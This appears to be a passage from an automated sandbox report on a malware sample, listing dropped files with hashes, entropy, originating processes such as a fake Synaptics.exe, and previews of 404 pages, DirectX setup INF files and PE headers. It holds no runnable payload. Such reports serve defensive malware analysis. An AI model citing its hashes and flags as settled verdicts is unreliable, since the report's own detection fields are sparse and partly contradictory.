Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vZCBDzwtyQBb71sU_XcA6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FIYhIcW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2673323161028
Encrypted:	false
SSDEEP:	24:GgsF+0DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	5A3F1BAC5F1CFCC2C33FC8B6E8A3341F
SHA1:	F6D4A1F275E474C17C7317053C03FD1E872D1FE8
SHA-256:	00513A7221FF431D434634A66ADFF329E851CED84E7EB795667F722087EAA619
SHA-512:	F41A832C25E5B98D653DA0F07CC23909A1FE69955B6589F0758AC0B77269257DE1FADA7E3183A435416DB55028A5DC13D8DF337B8DBF981B391B614072C35ECA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cskiTSo1RVA3PcCWS8jbrQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\HKWSuR5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	modified
Size (bytes):	1652
Entropy (8bit):	5.249235233034252
Encrypted:	false
SSDEEP:	24:GgsF+0OGSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+i+pAZewRDK4mW
MD5:	22ADBBED36EA173052E8CDF93E40CA56
SHA1:	7ABA6485E24D2B5C2A37410CE72291CC6780AEFA
SHA-256:	481CB67DE3CA598CD4C28CE970E6918420EF07496562DD6B41520760AD3A98FD
SHA-512:	778B89425FDD1F67F00CAE6F903769B7098C4DFB820B89BF35CABCB0AB1D9B3A892C7848072BBD548D6B2508E909102536F0097CD07F126292AA807F0EC1DF42
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RXcVfpkBll4svVixa3yoIg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\IXP000.TMP\DXIBE08.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	57739
Entropy (8bit):	5.688682745352895
Encrypted:	false
SSDEEP:	768:eNITdgil00BU0twUZB7otN4PTH+y491I7/su6U3mI9rITogZD0+pYnrIvdgsl0KW:eEBDSYj4kiJOnitAmfdwe5q24jIxwzKI
MD5:	0DAFB23D5BD4B80C79A0F82DC2DE34D0
SHA1:	8159FD03F133C9CD8CFB194971A5250B9ECDA0A8
SHA-256:	3EF4C33102886EAE3C812B948FF3FBF70BB03DD91E772B852DA3F9AAF75BDB29
SHA-512:	78E7FB35CAB3D0ACE4E4FEF2868CC5F31B2254C267402779893B3F3FCE90B8D784328AC19EF0D6BD37D975D557917BE19D7A8A32A94FF8606AFD36883EC1C9BB
Malicious:	false
Preview:	[Version]..Signature=$Chicago$..DisplayName=%SetupTitle%..MinFileSize=2000....[DirectX]..SectionType=Group..Priority=100..DisplayName=%DirectX%....[DirectX_Win9X]..DisplayName=%DirectX_Win9X%..Details=%DirectX_Desc%..SectionType=Component..Platform=Win98,Millen..Group=DirectX..Size=4608,0..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL1="audio_w9x.cab",3..URL2="dinput_w9x_81.cab",3..URL3="dplay_w9x.cab",3..URL4="dshow_w9x.cab",3..URL5="dshow_w9x_81.cab",3..URL6="graphics_w9x.cab",3..URL7="graphics_w9x_81.cab",3..URL8="ks_w9x.cab",3..URL9="vb_w9x.cab",3..URL10="bda_w9x.cab",3..URL11="setup_w9x.cab",3..Version="9,29,1962,0"....[DirectX_Win98_ENG]..DisplayName=%DirectX_Win98%..Details=%DirectX_Desc%..SectionType=Component..Platform=Win98,Millen..Group=DirectX..Size=4348,0..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL1="audio_w9x_eng.cab",3..URL2="dinput_w9x_81_eng.cab",3..URL3="dplay_w9x_eng.cab",3..URL4="dshow_w9x_eng.cab",3..URL5="dxdiag_w9x_eng.cab",3..URL6="graphics_w9x_eng.cab"

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	89944
Entropy (8bit):	6.418506334480987
Encrypted:	false
SSDEEP:	1536:gtBqvGpPmOEll4RWxiF9G3ZnVdqkFKJuTJbHo0Xm+jN3i97ZTj4FWMD+ZJqsHPCL:gtAvG5mOEll4Roi2pVVFKJuTVtXVpS9y
MD5:	0A23038EA472FFC938366EF4099D6635
SHA1:	6499D741776DC4A446C22EA11085842155B34176
SHA-256:	8F2C455C9271290DCDE2F68589CF825F9134BEECB7E8B7E2ECBCABEAB792280A
SHA-512:	DCC1C2EA86FD3A7870CD0369FA42F63D493895C546DCDD492EE19079A0D0696D689BBFE7B686D4FA549841896A54E673FC4581B80783D7AA255DFAD765B9DC88
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NOd..............V..........u...eX......eX......eX......eX..`...eX......eX......Rich............PE..L....A.L...........!.........N.......p.......0......................................2.....@..........................$..y............p..h............H..X.......`... ................................=..@............................................text............................... ..`.data...<0...0......................@....rsrc...h....p.......,..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup32.dll

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1801048
Entropy (8bit):	6.400511251324513
Encrypted:	false
SSDEEP:	49152:RjnIXtNeOOOOOOOOOOOOOOOOOiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWeXiWI:5IjmY
MD5:	7672509436485121135C2A0E30B9E9FF
SHA1:	F557022A9F42FE1303078093E389F21FB693C959
SHA-256:	D7EA3CF1B9B639010005E503877026597A743D1068AE6A453CE77CC202796FEA
SHA-512:	E46FF68C4A532017F8AB15B1E46565508F6285B72C7A1CBE964ED5E75320C8E14587D01FEE61B3966F43636BFE74CEBD21F7665B4A726281E771CF9230E69863
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.,.{.BZ{.BZ{.BZr..Zh.BZ{.CZ.BZ...Zi.BZ...Zz.BZ...Z..BZ...ZQ.BZ...Zz.BZ...Zz.BZRich{.BZ........................PE..L....A.L...........!.....`...................p............................................@..........................m......d^......................d..X....p... ......................................@............................................text....^.......`.................. ..`.data....4...p.......d..............@....rsrc...............v..............@..@.reloc...-...p.......6..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxupdate.cif

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	66865
Entropy (8bit):	5.567626982635727
Encrypted:	false
SSDEEP:	768:Wn+OeDyG6lG9CVGQM6UP8XUUkw8KlNxLkPkjdARflPp0VZRTBM9oZPFASJu71N1F:V
MD5:	B36D3F105D18E55534AD605CBF061A92
SHA1:	788EF2DE1DEA6C8FE1D23A2E1007542F7321ED79
SHA-256:	C6C5E877E92D387E977C135765075B7610DF2500E21C16E106A225216E6442AE
SHA-512:	35AE00DA025FD578205337A018B35176095A876CD3C3CF67A3E8A8E69CD750A4CCC34CE240F11FAE3418E5E93CAF5082C987F0C63F9D953ED7CB8D9271E03B62
Malicious:	false
Preview:	..[Version]..Signature=$Chicago$..DisplayName=%SetupTitle%..MinFileSize=2000....[DirectX]..SectionType=Group..Priority=100..DisplayName=%DirectX%....[DXUpdate_Feb2005_x86]..DisplayName=%Feb2005%..Details=%DirectX_Desc%..SectionType=Component..Platform=NT5..Group=DirectX..Size=990,0..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL1="Feb2005_d3dx9_24_x86.cab",3..Version=4,09,00,0904....[DXUpdate_Feb2005_x64]..DisplayName=%Feb2005%..Details=%DirectX_Desc%..SectionType=Component..Platform=NT5..Group=DirectX..Size=1220,0..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL1="Feb2005_d3dx9_24_x64.cab",3..Version=4,09,00,0904....[DXUpdate_Apr2005_x86]..DisplayName=%Apr2005%..Details=%DirectX_Desc%..SectionType=Component..Platform=NT5..Group=DirectX..Size=1055,0..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL1="Apr2005_d3dx9_25_x86.cab",3..Version=4,09,00,0904....[DXUpdate_Apr2005_x64]..DisplayName=%Apr2005%..Details=%DirectX_Desc%..SectionType=Component..Platform=NT5..Group=DirectX..Size=1317

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxupdate.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	177152
Entropy (8bit):	6.549767948531931
Encrypted:	false
SSDEEP:	3072:KU6LKKnw8i/9S7BLGKm/nuFV3uNgosUBxr+2y97CqGIpHtWMeJnQRLj+bTHyKaY:Iw8aIMrfuFVeNgosUBxra4rIZsqq
MD5:	7ED554B08E5B69578F9DE012822C39C9
SHA1:	036D04513E134786B4758DEF5AFF83D19BF50C6E
SHA-256:	FB4F297E295C802B1377C6684734B7249D55743DFB7C14807BEF59A1B5DB63A2
SHA-512:	7AF5F9C4A3AD5C120BCDD681B958808ADA4D885D21AEB4A009A36A674AD3ECE9B51837212A982DB6142A6B5580E5B68D46971B802456701391CE40785AE6EBD9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: dxwebsetup.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: CuratorStandardSetup.exe, Detection: malicious, Browse Filename: CuratorStandardSetup.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Palworld.zip, Detection: malicious, Browse Filename: Palworld.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 5b1cxnTnnS.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............M...M...M.CM...M...MJ..M...M...M...M...M...M...M..KM...M..zM...M..{M...M..JM...M..MM...MRich...M................PE..L......M...........!.....j...n............................................................@.........................pw..V....j..........8.......................X...p...................................@...............8............................text....h.......j.................. ..`.data....:...........n..............@....rsrc...8...........................@..@.reloc..0&.......(..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxupdate.inf

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	12848
Entropy (8bit):	5.071095411173453
Encrypted:	false
SSDEEP:	384:eXTiDxtV0xxmBxbD6Ys7s6xHOJYwYdDxAp8xXZyUxIJM:eXiM
MD5:	E6A74342F328AFA559D5B0544E113571
SHA1:	A08B053DFD061391942D359C70F9DD406A968B7D
SHA-256:	93F5589499EE4EE2812D73C0D8FEACBBCFE8C47B6D98572486BC0EFF3C5906CA
SHA-512:	1E35E5BDFF1D551DA6C1220A1A228C657A56A70DEDF5BE2D9273FC540F9C9F0BB73469595309EA1FF561BE7480EE92D16F7ACBBD597136F4FC5F9B8B65ECDFAD
Malicious:	false
Preview:	..; ---- Common sections ----..[Version]..Signature = "$CHICAGO$"..AdvancedINF = 2.0..Provider = %MSFT%..SetupClass = BASE....[Strings]..MSFT = "Microsoft"....[MDXDLLs]..Microsoft.DirectX.AudioVideoPlayback.dll..Microsoft.DirectX.Diagnostics.dll..Microsoft.DirectX.Direct3D.dll..Microsoft.DirectX.Direct3DX.dll..Microsoft.DirectX.DirectDraw.dll..Microsoft.DirectX.DirectInput.dll..Microsoft.DirectX.DirectPlay.dll..Microsoft.DirectX.DirectSound.dll..Microsoft.DirectX.dll......; ---- Windows 98 ----..[4.09.00.0904.00-4.09.00.0904.00_Win98_Feb2005_d3dx9_24_x86.cab]..NumberOfFiles=4..Size=2178 ;approximately total file size (Size * 1024 bytes)..CopyCount=1..d3dx9_24_w9x.inf....[4.09.00.0904.00-4.09.00.0904.00_Win98_Feb2005_MDX_x86.MSI]..NumberOfFiles=1..Size=1788 ;approximately total file size (Size * 1024 bytes)..CopyCount=1..Dependencies=feb2005_d3dx9_24_x86.cab..Feb2005_MDX_x86.MSI......; ---- Windows ME ----..[4.09.00.0904.00-4.09.00.0904.00_WinME_Feb2005_d3dx9_24_x86.cab]..N

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.cif

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	57739
Entropy (8bit):	5.688682745352895
Encrypted:	false
SSDEEP:	768:eNITdgil00BU0twUZB7otN4PTH+y491I7/su6U3mI9rITogZD0+pYnrIvdgsl0KW:eEBDSYj4kiJOnitAmfdwe5q24jIxwzKI
MD5:	0DAFB23D5BD4B80C79A0F82DC2DE34D0
SHA1:	8159FD03F133C9CD8CFB194971A5250B9ECDA0A8
SHA-256:	3EF4C33102886EAE3C812B948FF3FBF70BB03DD91E772B852DA3F9AAF75BDB29
SHA-512:	78E7FB35CAB3D0ACE4E4FEF2868CC5F31B2254C267402779893B3F3FCE90B8D784328AC19EF0D6BD37D975D557917BE19D7A8A32A94FF8606AFD36883EC1C9BB
Malicious:	false
Preview:	[Version]..Signature=$Chicago$..DisplayName=%SetupTitle%..MinFileSize=2000....[DirectX]..SectionType=Group..Priority=100..DisplayName=%DirectX%....[DirectX_Win9X]..DisplayName=%DirectX_Win9X%..Details=%DirectX_Desc%..SectionType=Component..Platform=Win98,Millen..Group=DirectX..Size=4608,0..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL1="audio_w9x.cab",3..URL2="dinput_w9x_81.cab",3..URL3="dplay_w9x.cab",3..URL4="dshow_w9x.cab",3..URL5="dshow_w9x_81.cab",3..URL6="graphics_w9x.cab",3..URL7="graphics_w9x_81.cab",3..URL8="ks_w9x.cab",3..URL9="vb_w9x.cab",3..URL10="bda_w9x.cab",3..URL11="setup_w9x.cab",3..Version="9,29,1962,0"....[DirectX_Win98_ENG]..DisplayName=%DirectX_Win98%..Details=%DirectX_Desc%..SectionType=Component..Platform=Win98,Millen..Group=DirectX..Size=4348,0..GUID={44BBA855-CC51-11CF-AAFA-00AA00B6015C}..URL1="audio_w9x_eng.cab",3..URL2="dinput_w9x_81_eng.cab",3..URL3="dplay_w9x_eng.cab",3..URL4="dshow_w9x_eng.cab",3..URL5="dxdiag_w9x_eng.cab",3..URL6="graphics_w9x_eng.cab"

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	498688
Entropy (8bit):	5.921914360240825
Encrypted:	false
SSDEEP:	3072:yiqLKTd9mKfwm7rfrK7iPG6rG3C7hO4YTYHVzoPD+sUn7RG+hPXzNbgC1Adm2exP:6kvS4c3C7iMw70
MD5:	EAA6B5EE297982A6A396354814006761
SHA1:	780BF9A61C080A335E8712C5544FCBF9C7BDCD72
SHA-256:	D298FD82A39B2385A742BA1992466E081BEA0F49E19ECE6B2C87C7C262E1FCEE
SHA-512:	EBDC887B6B334B7560F85AB2EBD29DC1F3A2DEDAC7F70042594F2A9BC128B6FCA0A0E7704318ED69B7ACF097E962533B3CE07713EF80E8ACFE09374C13302999
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`7..$V..$V..$V..K L.5V..-.A.5V..$V..V..K x.OV..K y..V..K H.%V..K O.%V..Rich$V..................PE..L....A.L.................v..."....................................................../.....@...... ..........................Lx.......................................................................^..@...............`............................text....u.......v.................. ..`.data....1...........z..............@....rsrc...............................@..@.reloc........... ...\|..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.inf

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	Windows setup INFormation
Category:	modified
Size (bytes):	477
Entropy (8bit):	5.237059564403252
Encrypted:	false
SSDEEP:	6:AEAv+BIHfXhPJycXlnMlr4TFagtVFIglFdW8HEwF2T2GHEdqT2azM2GvjokVj2aE:BBIpPJhXlnMYFz2gkDvqtwqa9YS7r
MD5:	AD8982EAA02C7AD4D7CDCBC248CAA941
SHA1:	4CCD8E038D73A5361D754C7598ED238FC040D16B
SHA-256:	D63C35E9B43EB0F28FFC28F61C9C9A306DA9C9DE3386770A7EB19FAA44DBFC00
SHA-512:	5C805D78BAFFF06C36B5DF6286709DDF2D36808280F92E62DC4C285EDD9176195A764D5CF0BB000DA53CA8BBF66DDD61D852E4259E3113F6529E2D7BDBDD6E28
Malicious:	false
Preview:	[Version]..Signature="$CHICAGO$"..AdvancedINF=2.0..Provider = %MSFT%....[SourceDisksNames]..1 = %DiskName%,DXWSETUP.EXE,0....[SourceDisksFiles]..dsetup.dll=1..dsetup32.dll=1....[DestinationDirs]..DSetupDLL=11,directx\websetup....[DirectX_WinNT]..CopyFiles=DSetupDLL....[DirectX_Win9X]..CopyFiles=DSetupDLL....[CleanUp]..DelFiles=DSetupDLL....[DSetupDLL]..dsetup.dll,,,32..dsetup32.dll,,,32....[Strings]..MSFT = "Microsoft"..DiskName = "DXWSETUP"....

C:\Users\user\AppData\Local\Temp\Lb7i88Z.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261347284387758
Encrypted:	false
SSDEEP:	24:GgsF+0RyJaQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+DJT+pAZewRDK4mW
MD5:	36D804F33E516B9F405109C74BF662E8
SHA1:	2095C0D21E0FCD6B00D6AD9945A8293B52959630
SHA-256:	491ED7E9842E36D85F01BAE5426095DBEF5A03B5B44EF0C663CC767A1E65BFFC
SHA-512:	3766E8659B2C7455A136A898A4066611B7D7B7F86C8AF305014421BE6034FCFFE733342C96CEEF7330B64D3497927E919AC557CCBBFECEB5D9CD9ED6895DA659
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fzjK6wvs9fOOrXkBt9e9bg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\M5Rcco5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257624648156662
Encrypted:	false
SSDEEP:	24:GgsF+0gDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+nD+pAZewRDK4mW
MD5:	EE12EBDFEEF88460F2D2B2DCA7C382A4
SHA1:	753123EAA537803F136DC3C0C73EF2D80DA8B696
SHA-256:	B37CA16B38AD3AE38436F0D9774E31BBBE93E2378E0211F4DFBFEEEF2F8EFDFB
SHA-512:	55398264C37593F5D583B030DE75D4DFC0FEF06DDAC0E638FC0F49523645D9D16899473EDE05EA6373870006FA9CB25F65C4B18625B73A4F50BE0D18F27AEB1C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0LExrQM6Kvfp0-Wy5-827w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NSKNuVq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254949485509859
Encrypted:	false
SSDEEP:	24:GgsF+0hfSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+i+pAZewRDK4mW
MD5:	BE74F858DDE869B8EA6A0BC60282B687
SHA1:	DA68640F558C00FFD893806CA922B0F4FD5EDA0E
SHA-256:	465EC5864437AE277996A40D85F34C41D2F0341A55286310C3F74164BCC24D50
SHA-512:	25AA9CCDAC7BE477FEFBAD4436F51E40E4F2208DD734F3154B15FB0DC5BBFB7C9C41E461494C7C420DA1A2A44CEF745D6E16FB07AA3CF7D271AF4194FDA085BA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9GOc4soP53awnN4LN6Fw2w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NuwTiLF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2681668092019605
Encrypted:	false
SSDEEP:	24:GgsF+0kdm1ZSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+NAZ+pAZewRDK4mW
MD5:	FAC783362063F8C6D371EBADDF25E0D0
SHA1:	24E54CB6B58E8597D6AE2309F0DCB1CD327723C8
SHA-256:	96C3CD7CDC29D38B5E6729A455CD72B6643356DF103CAB993ECDA66FCF462C88
SHA-512:	6C979FE668E3E1CE56BE625B65A99535D38C9786952722FD3ED7DC1B81405B6E3BB733871F9A2EE57799B7F94BB21AEAC61BF4F0E18D5216B30941B4B2CD6615
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wm5bW8MXUT0Yc684XtCqmA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\QLcJ4Cw.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265174828212079
Encrypted:	false
SSDEEP:	24:GgsF+0hOSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	6B8F0230A9C88AE98A98B236542FE137
SHA1:	BC06B687B3DE72963AF28D905AEF5F2460928F9B
SHA-256:	E776AC19F05581D8505BEF0D3A98DCB7231821126129020505E28155DEAF1317
SHA-512:	52BF9B2AD11A1420B6A4EC353B8F9BAD9A8ADD19A7F7D299F089C22EE7FD1AE7678286862AC4C17E444056D8F88E6334E4C754B2C304DBE3C8772F34BE9CD004
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iHU1T2RuOZFzz4QbioFIkQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Rn1eHxk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
